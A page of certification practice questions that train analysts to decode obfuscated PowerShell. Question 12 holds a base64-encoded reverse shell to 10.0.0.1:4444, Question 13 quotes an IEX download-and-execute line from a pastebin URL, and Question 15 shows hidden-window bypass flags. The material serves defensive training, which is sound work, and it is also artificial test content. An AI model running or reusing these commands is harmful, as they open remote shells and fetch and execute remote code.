6.5 Decode and Understand PowerShell/CMD Activity CCFH Practice Questions (Page 3)

Questions 11–15

1. 11foundation · easy

   When analyzing obfuscated PowerShell, what does the `-EncodedCommand` parameter combined with a long base64 string typically indicate?

   • AThe command is hidden from the user and executed directly by PowerShell.
   • BThe command is a legitimate Windows update script.
   • CThe command will be logged in plaintext by default.
   • DThe command is being run in a constrained language mode.
   Reveal Solution Discussion Select an answer first
2. 12expert · hard

   A PowerShell process is observed with the command line `powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMAVABDAFAAQwBsAGkAZQBuAHQAKAAiADEAMAAuADAALgAwAC4AMQAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANAAwADAAMAB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAMAAsACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApAC0AbgBlACAAMAApAHsAOwAkAHIAZQBzAHUAbAB0ACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpACkAOwAkAHIAZQBzAHUAbAB0AH0A`. The analyst decodes this and sees a reverse shell. Which additional technique is being used to evade detection?

   • AThe command uses a low and slow data transfer rate to avoid network detection
   • BThe command uses a high port number to avoid common port-based detection
   • CThe command uses a custom protocol to avoid signature-based detection
   • DThe command encodes the entire script in base64 to avoid string-based detection
   Reveal Solution Discussion Select an answer first
4. 13application · medium

   An analyst finds a PowerShell command line that includes `-EncodedCommand` with a long base64 string. After decoding, the analyst sees `IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/abc123')`. What is the most likely next step in the attack chain?

   • AEnumerate local users and groups on the host
   • BDownload and execute a second-stage payload from the remote URL
   • CEstablish a reverse shell to the pastebin server
   • DModify the Windows firewall to allow inbound connections
   Reveal Solution Discussion Select an answer first
5. 14foundation · easy

   What is the default execution policy for PowerShell on most Windows client systems?

   • ARemoteSigned
   • BUnrestricted
   • CAllSigned
   • DRestricted
   Reveal Solution Discussion Select an answer first
6. 15foundation · easy

   In the PowerShell command `powershell -NoP -NonI -W Hidden -Exec Bypass -Enc`, what does the `-W Hidden` flag do?

   • AIt disables PowerShell's logging features.
   • BIt hides the PowerShell window from the user.
   • CIt runs the command in a sandboxed environment.
   • DIt prevents the command from being written to the event log.
   Reveal Solution Discussion Select an answer first